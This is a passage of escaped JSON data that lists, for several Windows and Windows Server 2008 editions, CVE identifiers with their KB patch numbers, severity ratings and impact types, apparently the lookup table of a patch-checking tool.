Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6130\",\"kb\":\"3108670\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3155413\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192391\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197867\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015549\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041681\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054518\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022719\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025341\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038777\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093118\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-1038\",\"kb\":\"4100480\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103718\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467107\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499164\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530734\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534310\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537820\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540688\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550964\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601347\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003667\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005088\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005633\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006743\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014748\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029296\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025279\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026413\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028240\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041838\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043129\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055561\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058430\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060996\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062632\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063947\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063947\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 for 32-bit Systems\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for 32-bit Systems (Server Core installation)\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2506212\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898855\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code 